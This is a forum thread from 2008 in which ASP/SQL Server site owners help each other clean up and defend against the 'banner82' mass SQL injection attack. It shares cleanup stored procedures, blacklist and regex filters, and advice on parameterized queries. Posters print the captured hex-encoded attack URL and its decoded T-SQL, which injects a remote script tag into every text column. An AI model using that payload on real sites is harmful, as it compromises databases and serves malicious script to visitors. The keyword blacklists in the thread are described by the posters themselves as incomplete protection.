SQL Injection Attack - how to stop it once it's started??

I'm working on that right now..... but I have removed most pages with SQL code in them to prevent the server from crashing so there should be no more sql queries being executed on my website at the moment....

I'm just trying to come to terms with how it figured out there was a new table there and then started altering the information in the tables within 30 minutes of me creaiting the table....

unsure but this may help stop  future attacks http://www.greensql.net/

Hmm......just realised that it doesn't change the Table after I load in the backed up data - It does it simultaneously as I insert the data into the new Table.

Further - having done it a couple of times now it seems to be much the same columns it inserts the corrupted data into (even though the column name isn't the same).

I have looked at the MS Access file (which is the backup) I upload the data from and it doesn't have anything in it that shouldn't be there.......so it's not me loading corrupted info into a new table - it happens somewhere between the Access table and the SQL table =(

Having said this I'm starting to believe that the problem is hosted on the server and not executed remotely - any ideas where to start looking?

Can't find any triggers or DDL's that shouldn't be there...

rootkit was actually something I had in mind - I'll try and see if it finds anything (shit - I'll try anything at this point)'

Thanks

BestAviation:

This happened to us over the last 24 hours.  It is not a rootkit.  It is coming in from the Internet continuously.  We also had a old ASP/SQL application exposed.  I tried to used parameters, string handling, etc.... and I also kept cleaning up the offending script but it reappeared.  The only way the injection stopped was to take the public website offline.  Luckily, we had an ASP.NET 2.0 beta site that was sufficiently complete to put up.  The injections stopped.

It is a nasty injection attack.  At about 11:00 PM on 05-15-08 I googled "Banner82.com" and got two hits.  This morning at 9 AM (05-16-08) I did the same search and got 99 hits.  Just now, 8:00 PM (05-16-08) there are nearly 500 hits on Google.  This exploit has got legs.

I've attached an update command to help clean up your tables.  Replace <table> with your database table and <column> (both occurances) with the field column to which the script was appended.

The ASP application we took offline was huge and the result of years of work.  We also had a less disruptive injection attack a few months back and thought we had the ASP code secured.  I'm starting to question whether any ASP/SQL application should still be exposed to the web.  ASP is wonder but OLD technology.  

If you have a lot of tables suffering from the injection, Narayana Vyas Kondreddi wrote a nice stored procedure that will check all the tables in a database for a string (i.e., "Banner82.com").  It was very helpful in the cleanup.

Hope this helps!

UPDATE    <table>
SET   <column> = REPLACE(Cast<column> as VarChar(max)), '<script src=http://www.banner82.com/b.js></script>', '')
                                              

1:
2:

we got hit big time with this today.  we have about 800 sites down because of it.  First, where is this stored procedure you mentioned from Narayana Vyas Kondreddi?   Second, we need some help to stop this injection.  We're using SQL 2005 / ASP Classic.  We did a full database restore and within a couple hours our database was again full of the banner82 scripts.

ajhopen:

Thank you very much for that stored procedure. I'm in the process of rewriting everything over to stored procedures now to try and prevent it from happening again.

I have found a vounerability in my ASP code by having an SQL string with a variable that obtained from a search form - removed it

Also I found two users that I couldn't recognize - one in IIS that had execution rights and one in SQL with the same privledges. The username was a random string of numbers and letters (not the same combination in the two) - I deleted them

After this there has been no further attacks. What lead me to believe that it may not just come in from the internet is that when I did a restore the new Table under a different name and with no external access was imidiatly corrupted with the banner82 scripts.......

I have also been searching to see if there are any stored procedures that may be causing it - but haven't found anything so far.

Keep the ideas coming guys =) And thanks for the help.

I got hit with the same exact attack except the string on mine is
<script src=http://firestnamestea.cn/q.js></script>

Bestaviation, can you walk me through what you did or looked for when cleaning up your site?

hibridassassin,

1) Take your website offline (ie. stop IIS)
2) Remove all dynamically created SQL strings from your coding
3) Check user access in IIS and SQL and make sure these are normal
4) Restore your database
5) Convert all SQL strings to stored procedures (as a minimum the dynamic ones to get your site up again)
6) Upload the new code, cross your fingers and hope you're given a break for now
7) Start converting the rest of your SQL strings to stored procedures and rethink your security

These are the steps that I have taken. After step one I actually took down all pages who called an SQL string and put up a temp page to notify my users the site was down - I thought it better than leaving the IIS stopped...

Other steps performed that came up fruitless was

1) Virus scan - nothing found
2) Toolkit Revealer - nothing found
3) Event viewer - couldn't find anything unusual

I'm rid of the problem now but I'm not 100% sure yet if it's because of my changes or because it has stopped spreading.

Hope this is of any help......

Here is some code from Narayana Vyas Kondreddi that can be used to clean up all tables in your database. Unfortunately this code will not work on TEXT and NTEXT fields becuase it has the Replace funciton.  I am working on a stored procedure that will work on NTEXT fields.

Run the following to clean your entire database
Exec SearchAllTables '<script src=http://www.banner82.com/b.js></script>',''
GO

CREATE PROC SearchAndReplace
(
	@SearchStr nvarchar(100),
	@ReplaceStr nvarchar(100)
)
AS
BEGIN
 
	-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
	-- Purpose: To search all columns of all tables for a given search string and replace it with another string
	-- Written by: Narayana Vyas Kondreddi
	-- Site: http://vyaskn.tripod.com
	-- Tested on: SQL Server 7.0 and SQL Server 2000
	-- Date modified: 2nd November 2002 13:50 GMT
 
	SET NOCOUNT ON
 
	DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
	SET  @TableName = ''
	SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
	SET @RCTR = 0
 
	WHILE @TableName IS NOT NULL
	BEGIN
		SET @ColumnName = ''
		SET @TableName = 
		(
			SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
			FROM 	INFORMATION_SCHEMA.TABLES
			WHERE 		TABLE_TYPE = 'BASE TABLE'
				AND	QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
				AND	OBJECTPROPERTY(
						OBJECT_ID(
							QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
							 ), 'IsMSShipped'
						       ) = 0
		)
 
		WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
		BEGIN
			SET @ColumnName =
			(
				SELECT MIN(QUOTENAME(COLUMN_NAME))
				FROM 	INFORMATION_SCHEMA.COLUMNS
				WHERE 		TABLE_SCHEMA	= PARSENAME(@TableName, 2)
					AND	TABLE_NAME	= PARSENAME(@TableName, 1)
					AND	DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
					AND	QUOTENAME(COLUMN_NAME) > @ColumnName
			)
	
			IF @ColumnName IS NOT NULL
			BEGIN
				SET @SQL=	'UPDATE ' + @TableName + 
						' SET ' + @ColumnName 
						+ ' =  REPLACE(' + @ColumnName + ', ' 
						+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') + 
						') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
				EXEC (@SQL)
				SET @RCTR = @RCTR + @@ROWCOUNT
			END
		END	
	END
 
	SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END
                                              

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:

Thanks for all the help... unfortunately, i am taking over a previous programmer who never used stored procs and all the sql queries are created dynamically.  It will take me some time to fix my companie's website but I found the attached codes very useful in preventing the sql injections, I found the codes at:
http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx

SqlCheckInclude.asp
 
 
 
This is the code that does the main filtering. Copy the code below into an ASP file and modify according to your needs. The main things you need to add/modify for your needs are the BlackList array and the ErrorPage you want to forward to. Deploy this file in a location that will be accessible to all your web applications. Make sure that the path to your error page is correct. Use a full path here if possible, since this code will get included into several applications that may all reside in different physical directories.
 
<% 
'  SqlCheckInclude.asp
'
'  Author: Nazim Lala
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.
 
 
Dim BlackList, ErrorPage
 
'
'  Below is a black list that will block certain SQL commands and 
'  sequences used in SQL injection will help with input sanitization
'
'  However this is may not suffice, because:
'  1) These might not cover all the cases (like encoded characters)
'  2) This may disallow legitimate input
'
'  Creating a raw sql query strings by concatenating user input is 
'  unsafe programming practice. It is advised that you use parameterized
'  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
'  on how to do this using ADO from ASP.
'
'  Moreover, you need to also implement a white list for your parameters.
'  For example, if you are expecting input for a zipcode you should create
'  a validation rule that will only allow 5 characters in [0-9].
'
 
BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
                  "char", "nchar", "varchar", "nvarchar",_
                  "alter", "begin", "cast", "create", "cursor",_
                  "declare", "delete", "drop", "end", "exec",_
                  "execute", "fetch", "insert", "kill", "open",_
                  "select", "sys", "sysobjects", "syscolumns",_
                  "table", "update")
 
'  Populate the error page you want to redirect to in case the 
'  check fails.
 
ErrorPage = "/ErrorPage.asp"
               
'''''''''''''''''''''''''''''''''''''''''''''''''''               
'  This function does not check for encoded characters
'  since we do not know the form of encoding your application
'  uses. Add the appropriate logic to deal with encoded characters
'  in here 
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str) 
  On Error Resume Next 
  
  Dim lstr 
  
  ' If the string is empty, return true
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If
  
  lstr = LCase(str)
  
  ' Check if the string contains any patterns in our
  ' black list
  For Each s in BlackList
  
    If ( InStr (lstr, s) <> 0 ) Then
      CheckStringForSQL = true
      Exit Function
    End If
  
  Next
  
  CheckStringForSQL = false
  
End Function 
 
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
For Each s in Request.Form
  If ( CheckStringForSQL(Request.Form(s)) ) Then
  
    ' Redirect to an error page
    Response.Redirect(ErrorPage)
  
  End If
Next
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
For Each s in Request.QueryString
  If ( CheckStringForSQL(s) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)
 
    End If
  
Next
 
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
For Each s in Request.Cookies
  If ( CheckStringForSQL(s) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)
 
  End If
  
Next
 
 
'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Add additional checks for input that your application
'  uses. (for example various request headers your app 
'  might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''
 
%>
 
 
 
 
 
 TestPage.asp
 
 
 
This is a sample that shows how to include the script above in my application. Make sure the path to your include file is correct. The example below is for the application and the include file being in the same directory. Make sure you modify the path if these 2 are not in the same directory.
 
<% 
'  TestPage.asp
'
'  Author: Nazim Lala
'
'  This is a file to test the SQLCheckInclude file. The idea here is that you add
'  the include file to the beginning of every asp page to get SQL injection 
'  input validation
 
 
%>
 
<!--#include file="SqlCheckInclude.asp"-->
<%
Response.Write("Welcome to the Test Page.")
Response.Write("If you are seeing this page then SQL validation succeeded.")
%>
 
 
 
 
 
ErrorPage.asp
 
 
 
If a black list string is found in any input, this is the page you will be forwarded to. You can reuse any custom error page that you already have for this. I am including this only for the sake of completeness.
 
<% 
'  ErrorPage.asp
'
'  Author: Nazim Lala
'
'  This is the error page that users will be redirected to if the input cannot
'  be validated
 
%>
<%Response.Write("ERROR: Invalid Input")%>
 
 
 
 
SendEmail.asp
 
 
 
This script sends email via a remote SMTP server that uses credentials. You will need to integrate this into your application at the right place to get error reporting via email.
 
<% 
 
'  SendEmail.asp
'  Author: Nazim Lala
    
Function SendEmail(email, msg) 
  On Error Resume Next 
  
  ' If the string is empty, return false
  If ( IsEmpty(email) ) Then
    SendEmail = false
    Exit Function
  ElseIf ( StrComp(email, "") = 0 ) Then
    SendEmail = false
    Exit Function
  End If
  
 
  Set cdoConfig = CreateObject("CDO.Configuration")  
 
  With cdoConfig.Fields  
      .Item(cdoSendUsingMethod) = cdoSendUsingPort  
      ' Fill in server name for remote SMTP server and
      ' credentials
      .Item(cdoSMTPServer) = "smtpserver.foo.com"  
      .Item(cdoSMTPAuthenticate) = 1  
      .Item(cdoSendUsername) = "username"  
      .Item(cdoSendPassword) = "password"  
      .Update  
  End With 
 
  Set cdoMessage = CreateObject("CDO.Message")  
 
  With cdoMessage 
    'Fill in sender information
    Set .Configuration = cdoConfig 
    .From = "me@myself.com" 
    .To = email 
    .Subject = "Test Email" 
    .TextBody = msg 
    .Send 
  End With 
 
  Set cdoMessage = Nothing  
  Set cdoConfig = Nothing  
  
  SendEmail = true
  
End Function 
 
 
%>
 
 
<FORM VERB=POST METHOD="POST"> 
Test page for checking input with possible SQL injection.<br><br>
Email: <INPUT NAME=Email></INPUT><BR>
Message: <INPUT NAME=Message></INPUT><BR>
Sent: <% = SendEmail(Request("Email"),Request("Message")) %><BR> 
<BUTTON TYPE=SUBMIT>Submit</BUTTON> 
</FORM> 
                                              

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
232:
233:
234:
235:
236:
237:
238:
239:
240:
241:
242:
243:
244:
245:
246:
247:
248:
249:
250:
251:
252:
253:
254:
255:
256:

I maintain an old asp site as well with way too much embedded sql to rework as parameterized calls

I like to minimize the lines of code for easier maintenance, so i used a regexp instead of the blacklist string array, but the basic idea is the same.

the regexp is probably faster too (though i haven't tested the performance)

ps - i noticed some bugs in the blacklist code above if you use "Option Explicit" for your code

' this creates a global regexp object g_bl for testing strings against sql injection
dim g_bl
set g_bl = New RegExp
g_bl.Pattern = "banner82|xp_|;|--|/\*|<script|</script|ntext|nchar|varchar|nvarchar|alter|begin|create|cursor|declare|delete|drop|exec|execute|fetch|insert|kill|open|sys|sysobjects|syscolumns|table|update"
g_bl.IgnoreCase = true
g_bl.Multiline = true
 
 
' now you can use the regexp to test whether strings contain any of the blacklisted substrings
' e.g. to check if s is clean: if g_bl.Test(s) then ...
                                              

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:

jurgenl:

Thanks - THAT is just what I'm looking for =)

Jurgent,
I will give that a try later on.

Here are some more suggestions from microsoft themselves:

SQL Injection Attacks on IIS Web Servers
http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx

Questions about Web Server Attacks
http://blogs.technet.com/msrc/archive/2008/04/25/questions-about-web-server-attacks.aspx

How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx

Improving Web Application Security: Threats and Countermeasures
http://msdn.microsoft.com/en-us/library/ms994921.aspx

Jurgenl,

To use the code you gave, could I add that an include file for all my pages?  I am very new to all this but for the if statement, would I have to write one for each input on the forms?  And in g_bl.Test(s), what is Test referring to along with (s)?  Sorry if this is a really dumb question.

Yes, the first 6 lines above create a global object containing the regular expresssion. This code needs to be executed once (like an include asp file) before processing the text and running sql.

the remainder of the snippet was just an example in a comment for how to apply the regexp. g_bl.Test(s) is how you would invoke the Test method of the regexp object on the string in s. This method returns true if the regexp matches the string.

for more details see
http://msdn.microsoft.com/en-us/library/ms974570.aspx

Here is another sample snippet which assumes that the string to be tested is the entire sql query (not just a web query form parameter) in a variable called sql and g_rs is a global recordset object for holding the resultset of the query. The function executes the query using an ADODB.Connection object passed in as a parameter with the sql string.

In this case, if the Test method returns true, the function calls ErrOut, defined below as well.

You have to be careful using this approach because if your application needs to process legitimate input strings containing the words in the g_bl blacklist the errOut will fire - this doesn't happen in our case because our application doesn't process generic user input except in very limited ways - there are no name/address forms going into the sql database directly. This was just a convenient place for us to put the test.

function DoQuery(conn, sql) ' always operates on the same recordset (g_rs)
  if g_rs.state <> 0 then g_rs.Close
  set g_rs.ActiveConnection = conn
  if g_bl.Test(sql) then 
    ErrOut "Error: please go back and try with another input."
  else
    g_rs.Open sql
  end if
end function
 
sub ErrOut(msg)
  Response.Write msg
  Response.End
end sub
                                              

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:

For what it is worth, I think I captured what seems to be the offending injection from this malware:

test.asp?Type=10;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E62616E6E657238322E6F72672F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--  

We've been hit 4 times by this in 3 days, after one several months ago. Affecting 18 sites. We adjusted the code then, but clearly not enough. Right now our database is read only, but now very gingerly we want to restore some forms.

I would be extremely grateful if somebody can confirm that the SP below is safe, as I must admit to being not quite sure what 'dynamic SL' is and whether we've avoided it.

Also is the Dreamweaver 8 code, calling this SP, sufficiently safe?

Thanks for any input!

CREATE PROCEDURE usp_xxxx
 
@ClientFirstName nvarchar(50),
@ClientLastName nvarchar(50),
@ClientEmail nvarchar(70),
@Request ntext,
@SupServID int,
@Source nvarchar(50)
 
AS
 
INSERT INTO dbo.tblRequestsForm1All (ClientFirstName, ClientLastName, ClientEmail, Request, SupServID, Source)
VALUES (@ClientFirstName, @ClientLastName, @ClientEmail, @Request, @SupServID, @Source)
GO
 
HERE IS THE WEBPAGE CODE USING THE SP, AND GENERATED BY DREAMWEAVER:-
<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>
<!--#include file="../Connections/xxxx.asp" -->
<%
 
Dim Command1__ClientFirstName
Command1__ClientFirstName = ""
if(Request("ClientFirstName") <> "") then Command1__ClientFirstName = Request("ClientFirstName")
 
Dim Command1__ClientLastName
Command1__ClientLastName = ""
if(Request("ClientLastName") <> "") then Command1__ClientLastName = Request("ClientLastName")
 
%>
<%
 
set Command1 = Server.CreateObject("ADODB.Command")
Command1.ActiveConnection = MM_SQSP_STRING
Command1.CommandText = "dbo.usp_xxxx"
Command1.Parameters.Append Command1.CreateParameter("@RETURN_VALUE", 3, 4)
Command1.Parameters.Append Command1.CreateParameter("@ClientFirstName", 200, 1,50,Command1__ClientFirstName)
Command1.Parameters.Append Command1.CreateParameter("@ClientLastName", 200, 1,50,Command1__ClientLastName)
Command1.CommandType = 4
Command1.CommandTimeout = 0
Command1.Prepared = true
Command1.Execute()
Response.Redirect "thanks.htm"
%>

                                              

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:

A dynamic SQL string is when you use user defined variables to create the SQL string

EX:

URL: test.asp?ID=12345


SQL = "SELECT * FROM Table WHERE ID=" & request.QueryString("ID") & ""

This will show the table row with the ID 12345......however this is very vulnerable to a SQL injection attack as "wrongdoers" can change the url and still pass on a query to your SQL server with SQL commands that may be harmful. This seems to be the way the current attack has been conducted as every site I can find who is reporting they have been hit seem to have log entries suggesting the above. In my case it was a search form with a dynamic SQL string that was the entry point.....somewhat like the string below.

SQL = "SELECT * FROM Table WHERE Name=" & request.Form("searchText") & ""

I can't see anything wrong in your stored procedure and it definitely is the way to go. If you want to add an extra layer of security you can also use a check function (like the RegExp submitted by jurgenl earlier in this tread) before you send the info off to your SP.

Also I noticed you use Request("ClientFirstName") ----> If this is from a form I would recommend using method="post" and you should specify it as Request.Form("ClientFirstName") in your ASP. If you only use "Request" the server will run through all the command options so in this case a wrongdoer could exploit the vounlerability by passing a querystring in the URL Ex test.asp?ClientFirstName=10;DECLARE%20@S%20VARCHAR(4000);SET....

Since you didnt specify where to look the server will look through all the request commands to try and find a match.

If you use method="get" in your form all the variables will become visible in the URL once the form is submitted. This again leaves you very open to manipulating the URL as a wrongdoer would only have to submit your form once and then he would have a URL he can manipulate freely.

You can also argue that with method="post" all you have to do is submit the form over and over again and you're still left very open to attacks...... very true - and that's just why you should A) check the variables before you pass them on to the stored procedure B) Use stored procedures where ever possible.

Have a safe coding day =)

Jurgenl,

BestAviation gave a very helpful check of the new coding we want to use to avoid another SQL attack. He recommends we use your checkfunction on the form input, and this seems a great idea.

I apologize for questions that definitely show we are rather amateurs here. They follow on from those of hibridassassin, and your answers to that, which I've tried to follow.

a) Should the 6 lines of code be enclosed in ASP signs, <% and %>? Our pages are VBScript, but we have always used ASP coding. (Sorry, this is a very basic question!)

b) To use this 6 line code, could I add that as an include file for all my form pages?  

c) Do I need to add code for each input field on the form?  

d) If the field name is for example Itinerary, is the check code for that input:-
<% If g_bl.Test(Itinerary) = 1 Then Response.Write "Error: please go back and try with another input."
Else
End If %>

Sorry for these really dumb questions, but appreciate any help.

coloradodude posted the exploit most of which is obfuscated in hex

notice that if you're using blacklist words to filter for this kind of thing, there are only 3 words and the '--' comment to block: "DECLARE" "VARCHAR" and EXEC"

here is the offensive SQL translated from the hex... hair raising!

DECLARE @T VARCHAR(255),@C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b 
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.banner82.org/b.js></script>''') 
FETCH NEXT FROM Table_Cursor INTO @T,@C END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

                                              

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:

responding to pcardwell

a quick and dirty (incomplete) way to prevent this particular attack would be to prevent the execution of any sql query which matches the exploit as posted by coloradodude

e.g. simply testing ALL sql executed from form pages to verify that the sql does NOT contain the word "DECLARE" would be sufficient, but obviously would not prevent other similar attacks which didn't use that word.

part of the difficulty with the blacklist approach is that if your form is collecting arbitrary input like names, comments etc. you don't want to block characters like ';' or words like "begin"

but at least this blacklist solution might block the exploit while you invest in a more robust way to prevent similar attacks.

so, practically, all you have to do is insert the code below at the top of each form page, and then test the sql before you execute it.

<%
' this creates a global regexp object g_bl for testing strings against sql injection
dim g_bl
set g_bl = New RegExp
g_bl.Pattern = ";|--|nvarchar|declare|exec"
g_bl.IgnoreCase = true
g_bl.Multiline = true
 
sub ErrOut(msg)
  Response.Write msg
  Response.End
end sub
 
' before excuting your sql, do the following - the Response.End in ErrOut will stop the script
'   if g_bl.Test(sql) then ErrOut "sorry, can't do that..."
%>
                                              

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:

Thanks Jurgenl. I agree with problem of blacklist and best to keep many common words out. Ideally this should not just cut out this particular attack, but perhaps more. Although from your analysis of the hex, highly worrying that only 3 feature here and not obvious they would work for others.e same

I presume the same filter could be expanded to cut out spam, eg viagra etc.

When employing hibridassassin's solution from http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx

I'm getting a lot of false positives.  I.e. if a person submitting a form puts in drop or dropped it will redirect to the error page.

I'm thinking a good way to remedy this might be to redirect only when 3 or more keywords are in the post.  Like declare, varchar, and exec.  It's not likely that a legitimate post would have those three strings in them.

However, I want to have this solution work against future attacks.  My question is directed to a MS SQL expert.  What keywords should I be looking for?  Do you always need exec for these attacks?

Also, this code loops through the QueryString, Form, and Cookie collections but not the Session variables.  Can a user modify the session variables?

gdigital,

I am getting tons of false positives so I agree with you...unfortunately, we are in the process of moving over to asp.net to prevent this sort of thing and until then, we just made it a policy that you can't use words with the contain the stuff on the blacklist.  It's a pain but we jsut decided to bite the bullet...I am interested to see what response you get to your question because applying some logic to see if more than one of the words in the blacklist are found sounds like a good idea.